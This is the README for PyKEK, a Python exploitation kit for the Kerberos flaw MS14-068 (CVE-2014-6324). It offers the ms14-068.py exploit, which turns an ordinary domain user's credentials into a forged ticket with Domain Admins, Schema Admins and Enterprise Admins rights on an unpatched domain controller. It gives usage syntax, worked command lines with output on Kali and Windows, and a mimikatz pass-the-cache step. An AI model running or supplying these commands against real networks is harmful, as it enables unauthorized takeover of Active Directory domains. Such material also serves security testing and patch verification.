Python Kerberos Exploitation Kit

PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development)

For now, only a few functionalities have been implemented (in a quite Quick'n'Dirty way) to exploit MS14-068 (CVE-2014-6324) .

More is coming...

Author

Sylvain Monné

Contact : sylvain dot monne at solucom dot fr

http://twitter.com/bidord

Library content

• kek.krb5: Kerberos V5 (RFC 4120) ASN.1 structures and basic protocol functions
• kek.ccache: Credential Cache Binary Format (cchache)
• kek.pac: Microsoft Privilege Attribute Certificate Data Structure (MS-PAC)
• kek.crypto: Kerberos and MS specific cryptographic functions

Exploits

ms14-068.py

Exploits MS14-680 vulnerability on an un-patched domain controler of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups :

• Domain Users (513)
• Domain Admins (512)
• Schema Admins (518)
• Enterprise Admins (519)
• Group Policy Creator Owners (520)

Usage :

USAGE:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>

OPTIONS:
    -p <clearPassword>
 --rc4 <ntlmHash>

Example usage :

Linux (tested with samba and MIT Kerberos)

root@kali:~/sploit/pykek# python ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
Password: 
  [+] Building AS-REQ for dc-a-2003.dom-a.loc... Done!
  [+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done!
  [+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done!
  [+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done!
  [+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Creating ccache file 'TGT_user-a-1@dom-a.loc.ccache'... Done!
root@kali:~/sploit/pykek# mv TGT_user-a-1@dom-a.loc.ccache /tmp/krb5cc_0 

On Windows

python.exe ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit`